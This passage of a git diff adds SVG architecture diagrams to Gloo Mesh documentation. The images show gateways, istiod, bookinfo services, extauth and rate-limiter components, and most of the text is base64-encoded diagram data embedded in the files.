N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg b/gloo-mesh/platform/2-4/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg new file mode 100644 index 0000000000..cc2b6a67cf --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVMqybfve39cbqPP6986OVx1MDAwZvdNRSZFRVTU2zdcYmZQJlx1MDAxOUQ4cb77XclcdTAwMWUsqMqimKTobfVcdTAwMGVspchKMtfwWyvX8D9/XHUwMDFkXHUwMDFk/T2c9Kp//5+jv6tcdTAwMWblYqtZ6Vx1MDAxN8d//8f8/b3aXHUwMDFmNLtcdTAwMWR4i8x+XHUwMDFmdEf98uzOxnDYXHUwMDFi/J///u9ir+d8fsopd9s/PlltVdvVznBcdTAwMDD3/l/4/ejof2avrmf1q+VhsVNvVWdcdTAwMWaYvfX5OCn44l+vup3Zo1x1MDAxOdJcXEuu8e9cdTAwMWKag1x1MDAxODxuWK3Au7Via1D9fMf86e9pq1V+aMbq96X286SeL2dTd5Pbz6fWmq1Wbjhp/fhexXJj1HfNaTDsd1+r+WZl2ID38cLff39u0IVcdTAwMTX4/FS/O6o3OtWB+f7o91+7vWK5OZyYcdDnX38sgvu+XHUwMDBm+E1cdMZcdTAwMWONidCKmVf2+13zeUKUcCiiXHUwMDE4XHUwMDExTDWVi/M667a6fTOv/2KaIy4/Z1Yqll/rML1O5fNcdTAwMWVcdTAwMTitVFx1MDAxNZ/3jH9+W0KIg1x1MDAxOVFcXM5ehfrclEa1WW9cZs09XG47v26YvdLPqVRnW4I1Ulxuw7/fb5jn91KVT+KY/VWNy6+N2GXtXHUwMDBl0cdcdTAwMTOVzTyKflv8/fP9/7e48I1iv/dzgf+efVx1MDAxZNdXNL+eL1x1MDAxMqCbXGJdxJErvVckPn5u9586p9c3pDrqXHUwMDE0XHUwMDFlf481R7HFfr87/vv3O//7n6Bx31tF9lFLUn42uKZcdTAwMWaj51x1MDAxM1JIlMON6/nKo16l+IO8sWBKwZJLzJH+/X6r2XmFNzujVusv18xWYznFrCyHgYZcdTAwMTTHQtLQPFx1MDAxNyek/1SOXHUwMDE1ZeHqcaJO38+HhVT263hcdTAwMGWvyXOcOlx1MDAxOLhKMmFe6TzPwV9cdTAwMWMqXHUwMDA1YpwzxTViVqZDStZ4KZjpMCkp5cd0SDnEdTHhw3REONp9MVx1MDAwZtNcdTAwMDHHYSwoVTvjuoH5ZU2uu7+7XHUwMDFijDKlartxU8qPaHY0vjn+2Fx1MDAwMtddXHJOTq+fr3LxSvWCXGZFgeBEu1x1MDAxZmmuc23QXHUwMDAy11x1MDAxMc5cdTAwMDVXmvLQTDesnEx6qv1y3v84T+fKr7XJNItcIs90SiEgZoJcdTAwMDRl8MrFPNNcdTAwMTlFx7VcIkJKiVx1MDAxNCbcynSbaDpMXGKa4yjlw3TKy2VIXHUwMDFh0ShcdTAwMTWJpG57eMueXHUwMDE3842nTCpX71xu9YEmhZfpXHUwMDE2uOxRkHr6vplBqsin5TNCmrhcdTAwMWaLNJdcdGbjMsxcdTAwMDC1IK2lXGbNZuI9XWu8XHUwMDE2X87O+Vx1MDAxOSmWT1tvzYyKOptp0Fx1MDAwNy42XHUwMDEzXHUwMDBieJJiXHUwMDFkks32r9uIlEJLgnbHdHtSbfthXHUwMDBl6VrIXHUwMDA15lx1MDAwMFxypFxiVzi8XG5qVS7Ob+OZu+Nqp9mf3p/HxE1cdTAwMTNHnjc40Vx1MDAwZehaSVx1MDAxMYZXouZ5g1xi5KBwvDG7XHUwMDAyeWPYL3ZcdTAwMDa9Ylx1MDAxZkjJy1x1MDAxZkrLedr3slx1MDAwN1CBI1xcXHUwMDE3X+RcdTAwMGVMlERCXHUwMDEzsTPu2EQlqWx1nHkvXHUwMDE2Plx1MDAxYcNW6WOKSmxwXHUwMDFiUnVcdTAwMDSqpOvTkVx1MDAxOI/x6fRMTotcdTAwMWbJc5o+jie3MO5cdTAwMDbm4X64mWNt42awXHUwMDA2uJRMh9d0qll8LFx1MDAxNdqvt92p6jy8JZR8XHUwMDFkXHUwMDFlR52bXHUwMDE1VzxcdTAwMWHcrOhybsZcdTAwMWX+ZVhRYOL9QcqvXHUwMDA2Z1jaKFx1MDAxNmPEJFx1MDAxMW6aXqqAqtlLfPd6fZtO9cmAXFwk8qnGNPIkq5F0mNVcdTAwMDaimFx1MDAxZlxmOMNcdTAwMWP+SLn+s/xcdTAwMGVcdTAwMDenJlx1MDAwNLNaREBcdTAwMDdcdTAwMTI0XHUwMDA1XHUwMDE24T3syXrj4n2i2PTtZlxcfSrnS/l+f1x1MDAxMH1cdTAwMGY7+aEnNMaaKrVgXHUwMDExXHREXHUwMDFjhqhkoEKkYnZn30Z+XHUwMDA3KdhcdTAwMWNDUS/PUZfi+MlkjFKJXHUwMDE42yGTbYLxLtJcdTAwMTfpp9MzWXj5eH7pZc4mfcHOo8xcZpxcbiszYCwl11KEXHUwMDA3Te9cdTAwMGZx+TS5wtd3V1x1MDAxN723k5SmZHpcdTAwMTZ1XHKkgVx1MDAwZlx1MDAwMkCTXHUwMDAwXHUwMDAzKSRo2kBcdTAwMDNJhJZcdTAwMDEmTLyASUht9Fx1MDAxNWc744Y/ylx1MDAxZiCw/SBIXHUwMDAxXHUwMDE2Q0iuoFx1MDAxYc7jz3Gg/5PUWZyd3j1+PCBy8XBcdTAwMDDcoFx1MDAwMrhBXG7qmFNoplx1MDAxOFx1MDAwNfWwM2bwwV+A0ZD78py2aiExXHUwMDAxOFx1MDAxOU1meOvg12kxPUgm8yX0mG/cpt7Oe1FmXHUwMDA2zq2qXHUwMDAxU4JcdTAwMTXXmIRXXHK4mEyfXsXY9VmlmlwiLzTHemcxXHUwMDBiMyxcdTAwMTD1PCssopFcdTAwMWSyXHUwMDAyQSyAXHUwMDE1KJchTVx1MDAxM4BbVV1cdTAwMGXmhVKVlSolXHUwMDFmmFx1MDAwNCjJQva/WYN7UFx1MDAxMmaII4l3aElvwlxupfNk6q72kutcclxiukueI1l/PT71Z4Vh9WNcdTAwMTjWXHUwMDEykcNmaVCdKpJ+bLZcdTAwMWXbtePqI2VbsHDOXHUwMDBi2TOcYelxt5TBN49DfZH8yG1h3PJ7KSFjndOXuybNqeTk7uXsvLSFcXe0vN/DmoCqwclcdLmenD6o01x1MDAwNi691lx1MDAxZq5cdTAwMGI5vNGezc3iP2G/SMjpjti4Mnm+eWW343g/e90+ezvLdvesdOa+6Jy+sTvDXHUwMDE4MUJcdTAwMTax8OAreP+jXG6+XGJcbjqNoTPwXHUwMDE1RuPUZtf6/lvssih+q1x1MDAxOfY5nZ9qRlxioFx1MDAwM+NB2JuaWYs8P6mg21x1MDAxOeaa01x1MDAxZq6fub/Gi+1mazK3kTO6hSk1O/U+zO7on05cdTAwMWRcdTAwMWU4Lk7cyzyownNmsZrzXHUwMDFmPGk1652Z0IeZV/tz9D9slout3ze0m5WKXHUwMDFikJVhNkVcdTAwMTizn1xug6O6/Wa92Sm27lx1MDAxNib7a6pcdTAwMWLAQW21jYRmmlLFwqPBXuNdx1x1MDAxZY+r73VcdTAwMTa/Lt1M5WlcdTAwMTHTyKNBXHUwMDEywJuM0+iiQa7AelJcbkfTMorTS9F6unuhXHRcdTAwMTWvXHUwMDE13plcdTAwMWN34+1vOLgtOLij5d3RsPihU1x1MDAxNuWHQumlmj9DJ4nsKVx1MDAxYV/9cauw9WGXoUz/XHUwMDA37lx1MDAxMVxyXG5ijVx1MDAwZcXMhNtcdTAwMWJBXHUwMDFiWt9cdTAwMDSvZ3TRYJBjmvGwjukvQoNYc8FcdTAwMDGj/1FosFpcdTAwMWNcZsfVwXBPcHBcdJBahIO/Z7s5XHUwMDFllCrAXFxDXGIzLUj4pIlcbn2qYYJQZnxyeXky7vfuaaK3XHUwMDBlIPzKlFx0yVx1MDAxZOKX/WM+T1x1MDAxMdFcdTAwMGXmVFx1MDAxMUqJoEJZuTNErM228aBcdTAwMDRbm0hEoulcdTAwMWU86bevr9Wzks3a3TDRLVx1MDAxNcrPZ1x1MDAxNk/5N1x1MDAxZVxcfdxcdTAwMWQt72Fccpsvn1x1MDAxNodvJcTvh6lSLIknk2Ls7HtxN1x1MDAxZHZcdTAwMTnM9H/gXHUwMDFlYaai1lxicIywwVWrpEdcdTAwMDSvZ0Rhplx1MDAxMlxuXHUwMDA16TEmXHUwMDAwhP7WY3phXjtGmcSbXHUwMDAywYXGSLD96a59+Fx1MDAxY1x1MDAwN8Nmt+KLLF0hpFtFlktcdTAwMTCZx9H4Y4ZcdTAwMWLgSVdcdTAwMDCYJ1x0lyFcdTAwMTNuQMPHwpbu1OQ0XW6/tU/T6UH5lTZjz7awvIjgSU2wdpRCmlx1MDAxM1xury5v6lx1MDAwZj6kxCGCacpcdTAwMTiVTOqNgrftUXlrXHUwMDAySlx1MDAwMTaqYFx1MDAxNO2NKYPUXFxzcpNghVfRvz2eZqaZ+5R+zr9+XHUwMDAzym1cdTAwMDHKXHUwMDFkLe+Ohn3QWa2ount5fb7s19U4NnpcdTAwMWK/bGFcdTAwMTUyTXTclo2n+5f7q9y7aFx1MDAxZItqo7WFce9QWdaLqH+BXHUwMDFmhvfFRFxmJfBbZ1x1MDAwYuOKk5GeZG5ytXbhg46KMf3WOOFbXHUwMDE4NzHKnuduYlx1MDAwZpfPJ2JSJVx1MDAxZvKleXnxx1HZ1oddhqz9XHUwMDFmuE9kTYLC7Fx1MDAwMUxcdTAwMTKCwlx1MDAxZudcdTAwMDevZ0SRtSaEXHUwMDA1anTpyN9cdTAwMWFdXHUwMDA1XHUwMDE01fhcIlx1MDAwNy7sXHUwMDBiQ0pztbtcdTAwMDTKXGJi60Sr2z3KVFx1MDAwN42jfzrF+tz6fYFcdTAwMDN3XHRQXYTZn5P9MdW1WFNcdTAwMTBroiRcdTAwMTZcblx1MDAwYs31XG6Rnefdt1x1MDAwZlTpdVx1MDAwYqg21o/Zt8SL4qmosyZcdTAwMDazVlx1MDAwMZ7GXHUwMDFhMWle8Vx1MDAxY29cdTAwMTKOqUPB4FAmJY1cdTAwMTNXXHUwMDBlxFwib2IlWDE40DmQN1x09ym44crK+Fx1MDAxNWqjXHUwMDE5xVHNLdtTXHUwMDBlmC/fq7B8X+p2X5udWvdo3O2/wvaUq76M7zpXW43xh92ejevnJr/I4j7zXG7k8lx1MDAxZivqw+ZcdTAwMThxO5/Pin9gXHUwMDEx3qJcdTAwMGXe40ha1MDkXHUwMDFjXHUwMDE5JmeUIS2Eklx1MDAwYkxOiCOlhJtcdTAwMTjlXGK5jqvWYHK7SVxyXHUwMDAyxFx1MDAwMTHCkFRcdTAwMTIkK/ay+49cdTAwMTQjJrlgXGJcdTAwMTMzXHUwMDE1j4XNODCCwHJ/eW+bsehgWOxcdTAwMGZPm51Ks1OH9z6FyK96ialcdTAwMTBFNGZMXVx1MDAxZc1cdTAwMTJcdTAwMWZcdTAwMWRcblunXHUwMDE54phI2FrEqeuuerFnlpU4XHUwMDAyXHUwMDExiUyZQJPlRcjPO36D7L+rnUqISVx1MDAwNSZWuyaFXHUwMDFkoCRCKMdGZVxi8lx0gd1zYlRcdTAwMDD0I7NkXHUwMDE1xahnTq3iYHjWbbebQ1jkm26zM/RdzFx1MDAxM8P3jWrRI1DgO7nfW1x1MDAxNFx1MDAxMD0z4jzVfP7f0SdcdTAwMGLNfvn9///vP753XHUwMDFmW6nbXFxeuv5cdTAwMWPvL/fPlWOFkb2qXHUwMDExgF2FJOHhK7c8Xr5cXE66md6bvuzVcG+SL58nbFx1MDAxNfuiI9pkUDiiXHUwMDEweIt589YqmcxcdTAwMDe7SK/wXHUwMDEyMFx1MDAxM4ap3p17cLfCayN8cVxc68ONwJSDfzqdYrtqh1x1MDAxYWJdXHUwMDFiY1Oo4T/F9TiTXHUwMDA1hIVcYlx1MDAxMMNMr1x1MDAwMDra9dhbspmq3taLnfSgoEbT0sko8pypiIOtnKko22I+sZUzqU9cdTAwMDaxlzNNNTRcbjiI7i4yeJN0+j3lTG6J781+RZvt/Wa4nq2hXV9ike2B5E2y6FxuZauDXHUwMDEzx6PK9lI6UnGuXHUwMDExXHUwMDAyMLpYU0OaXFxSrTXhQkiFXFxcdTAwMTVmtsn2YFwiOKZcbo2JxGTMXHUwMDFkovdbXGKAQcTQrJA48L7ESjOPr1x1MDAwMcOHhYnm3F8hta1cdTAwMWFcdTAwMWKL6Hg54lx1MDAwZi5kMWeGXHUwMDAw2lx1MDAxN1x1MDAxNCuEjH1cdTAwMDGr6oX8mDicSCpcdTAwMThcdTAwMDZ4LMEs0Fx1MDAwN1x1MDAwZfltRDZ714e+Vlx1MDAwNP12h1x1MDAwNkV2h1x1MDAwNlx1MDAwMimj2SpB4cHaJbJSRjhgy8JcdTAwMTfVIFRdNVx1MDAxMH+AXHUwMDBiIVx1MDAxZNhcdTAwMTKkQFx1MDAwZVx1MDAxMaRcdTAwMDM8XHUwMDFh25QyxCdIXHUwMDAwOfB0Uz6GgKxcdTAwMTNcdTAwMTJxTyCPJnBcdTAwMDdcdTAwMDUy+XdcYlx1MDAxOZsoXHSGsHOiXHUwMDA0aYS1kFx1MDAxY1x1MDAxM2qqXHUwMDBiSO2664coMaY2XHUwMDAyvIYlXHUwMDAxOVwikdd5XHUwMDEwSrxcdTAwMDVXJpmfXHUwMDEzXHUwMDAxncWQqTpLXHUwMDExpYJIz6QwduTvWYH6XHUwMDEz/N8l31xinfu8h7BXXHUwMDE0b/ZQRDuE4rBcdTAwMDOA1Fn4gPrjpFTNSem0nZ92x7mkPM3rVs1cItxcInQqQ6VyXHUwMDA0/n3NSzeChYM4qFx1MDAxNVC1XHUwMDE0a7qRvzb4UEaGOpThgiD4VjqaeZV7qlW+mfX0MzFlXHUwMDEwtVNcdTAwMTmfea1cdGJcdTAwMDJMJVx1MDAxMClaSiRxeD5cdTAwMGbe5IiCXHUwMDE4KjgwMthCSius2UKzXHUwMDEx0CRcdTAwMGVDTFx1MDAwMaRcdTAwMTNcdTAwMTKjjY5eXHUwMDAzXFyX1IH3lFx0JVx1MDAwNrwkmE+DXHUwMDFmQVx1MDAxZEaI5lhR4HOferVSclx1MDAwNd9jh/VcdTAwMGZcIlx1MDAwMWGCdclcdTAwMWNcXKBGbcJ6XCJA/1hr4YNcdTAwMTaow2FFXHUwMDAxLVx1MDAxMI2F+DRcdTAwMGZWxDDBXHUwMDFkP+Ymhc1Ri1x1MDAxMJwzSZVcdTAwMTTMe1JkXCJvKfzHXHUwMDE0I2DKXHUwMDExwjyTOihcYmOnbnMt0vWKXHUwMDAwJrhMXHUwMDA0s6NcdTAwMTh4XHUwMDFhU5rI8I6g85R4LN7cNnDh4la3+1x1MDAxN7l+o1x1MDAxYl9Hun1hnVxiJYJcbuhcdC5cdTAwMWPKtlUnYjEwbLMwbi0xplpENIp7Os5cdTAwMWaLdpK38bEqjlx1MDAxYpP4XHUwMDA3x3F/OFx1MDAxM4Uo7kSrdJ1MPaPEVL3lNT7ld5WXty2My1x1MDAxM8OHeqn8XrjN64/hw9W4OkmdbGHcXHUwMDFkLe9cdTAwMWY+7LKwXf9cdTAwMDduXHUwMDA3iFx1MDAwN1xucev5XHUwMDFktqfhKFx09jDDPDw6XHJez4haoVx1MDAxYWR3kFx1MDAwNId31bYk+LKw3aVS3Jsgx1x1MDAwNOJE8j+rKFev362MysNese5vL+4qS25cdEBZtFwi3dPcXHUwMDAwY0mrXHUwMDFinDCwnFx1MDAxOJXhg19epmiSlFx1MDAwZm+5TOH2bsxcdTAwMWbSb6mxLbI+Klx1MDAxMEtcdTAwMDZcdTAwMTZmlVxubY9Bt1xmsTDYPZxcdMqjibHQVWfQ/EhcdTAwMTWP31RdTHLX+XSxYylvuYpa3dGwh1x1MDAwNt36lXSxWalcdTAwMGZ45f063ynWnlLk7GlcdTAwMGLjXHUwMDFl1q5cdTAwMWTKsMugm/9cdTAwMDP3XHTdZEDBbqxcYlx1MDAxNpSF11x1MDAwYsHrXHUwMDE5VegmXHUwMDAzXHUwMDBiqEqttmd8r1HMwNOxzoTGYi722M9xXHUwMDBmWK1SXHUwMDA1XHUwMDA01Vx1MDAxYfjjNDV3+9Zw2lx1MDAxMpSziNN+TXF9jCbsjVWwUEiYSKDwzDhcdTAwMThk4uU4SpZwXHUwMDFiN1x1MDAxMsWz6WUyL1wiXHUwMDBl0pRcYlx1MDAwMmlKi+iCNMWMXHRcdTAwMTXV+li1xqBcdTAwMTCblJ7vLmTuLF25qr5U6GRzXHUwMDA1eljD7lxuS+1ous1J50KQQVwiec9f31x1MDAwNoP+1b1cdTAwMTiL6E73UIZdhtH8XHUwMDFmuEeMJlx1MDAxOFr86ydG08LUuFmhw1DwekZcdTAwMTWjKVx1MDAxMYTRNGZ7xWhcdTAwMWV/XHUwMDFhp1RJyffYY2tcdTAwMGZcdTAwMTitX1x1MDAxYzY7dVx1MDAwYkbbkS9tXHTIWcRov6a4XHRGs59VXG7OTSDGXG4x63l994ifK+l7rWM8dz8ontRt9lJEIFx1MDAxYdxBUaAjXHJHXHUwMDE2o2mtXHUwMDA1pXiHiSubQLQqenyIj1x1MDAxZSr3w7t6r9C7Kz2jXG7ZXFx/XHUwMDFl1rC7Oqnc0XR3XHUwMDA10Vx1MDAwZWvTtj7sMojm/8B9QjRqTzJgUmIqmFxmf1x1MDAwMlx1MDAxYbyeXHUwMDExhWhGMVx1MDAwNDWSl1pHy4+GmULanH39UY60fvW9WVx1MDAxZH+tI21cdMzxgLSfU1xm5MSAhFx1MDAxZnvTIYJcdTAwMTFcdTAwMTFcYkgzfMJP8LnOSrxIvoxcdTAwMTe1RsQx3TY1XHUwMDEyiOPFtEKiXHUwMDFjSThcdTAwMTPIxNWpxWltj1x1MDAxMVx1MDAxNXU4XHUwMDE1XFxyJlx1MDAxNVxc2idcXJZcdTAwMTFHIzBgXHUwMDExXHUwMDE2JufTy6WmKlx1MDAwMWV0h1xyXCJcIlx1MDAxMS5cdTAwMWJcdTAwMWNcdTAwMTNw9Fx1MDAxOZlqcuU4RlxmIbD7hSBcbn06jY9cXPGyXHUwMDE0tI6mmJvyy0J5s2tCxctcdTAwMDZ7wOdnRTHGhHFTXHUwMDAxXHUwMDFiK7CCvDmN2lSMZlhcYkUok2C0eyZ1UPGyVuo2l4euP4f7y/1zdfHG7Cd2XFwxLDVaoURiMNyOrHRT0mGYIaqFoMgj3bRjSrAxYVxuyEhqr5C4qXiT2shYKkGpIIXcXHUwMDE1XHUwMDEwP9N/pCNcdTAwMDFjSMLULP1uUbpRYt5ROyxMfljSXHLEiJKmXHUwMDFjklagtpTU1CdcdTAwMTmAOWDFS2A6oakw+Vx1MDAxZetcdLdgVDI/KdM+ylTdNFm02FfiMlx1MDAwN0lTkVx1MDAxM5ZOY8zpYZdospK2uVx1MDAxNol6RdG2JEzN2luBaDBcdTAwMWQ4VeHtqDd8M85wVnm47t/ma/S824rFbFx1MDAwNd0jY0cpWPSAUjCC4pBmVJhsbUxKwEY+olxyIUe7L69ow8Sb28S5XHUwMDA2tmU7LDi3iYMtuELIXHUwMDFjja7krMG41auNbscod5lcdTAwMWFcdTAwMGba0/xHa2ip2/xlXHKTg33Y3H6gpIniXG5cdFx1MDAxYZ7LaPUhfZ1VlWK33p1cZl5GZY1L6lx1MDAwMLhcZlx1MDAwN3BcdTAwMTlcYvuQXuxccrnMy1cgcG2u7d+OXHUwMDBiwPUmiXx/JZeD2GFPXHUwMDA1mDbQOSqgn4/WXFwzuUJcdTAwMTJ9TSdcdTAwMTF5XHUwMDE59FONUe5VkNZFXCIvXCLeplhpXHUwMDFkVH1McLXFNsVbXHUwMDBlu1x1MDAxMZjCvVwiomE3z6hQp29nZ6+9Jsk/pXNCjY4tbTmiXHUwMDEwxPxxkzvps0Y92385vWHJRLJDayFrMlx1MDAwN447adTOmv1q5Vx1MDAxMZ8odtsjx6hK9Vx1MDAxNsbd0fLuaNina9FKJJ5cbnJ02Vx1MDAxZFxcP92rwlu9/8etwtaHXXZY5P/AL1A61pjrXHUwMDAw+EUpXHUwMDA2jUNV+DDP4PWMKvzSWlx1MDAwNmlcdTAwMWMpQta73E+6XHUwMDFj1lx1MDAwMJLN9P6o+J595cstQVS7yZdcdTAwMTOuXHUwMDEzXHUwMDA3b9k4pZBcIjg8k550XHUwMDFlXHUwMDBip4P4jVT3w7S4u1x1MDAxMlx1MDAxZtWCLeguKqBcdTAwMTAoKchCUnR7LLptUIiBM6UpPlx1MDAxNklQ2GD4+SZ/WitNL0R1ev+QJ6/Hlu5cXKso1lx1MDAxZFxye2hY862PT/O1glwiXV6rXvbvaqJcdTAwMTnfRpfew9q1P3zYZZjQ/4F7xITCXkKBMsFcdTAwMTnHK9T3XG5ezqhCQkVpUFx0dIS254TYSvhcdTAwMTBcIqBklDu64lx1MDAwZsCA+8jDW1x1MDAwMp52kIcn7fVMKNFAn5SvUI8q3iXVt15tUiVcdTAwMTe1fLVWYMlixIslKK2CsFx1MDAxZlhv0cV+ICmYqcZcdTAwMTLNIO/hyXBcdTAwMThcdTAwMWaT21Tr9OxcdTAwMDK9aaFcdTAwMWWKXHUwMDE2XHUwMDFm0CpcbvSwht1cdTAwMTVEO6xV+MOHXVx1MDAwNtH8XHUwMDFmuE+IJu1dajBBWmOGw8eVXHUwMDA2r2dUMZrWQVx1MDAxOE1jsVe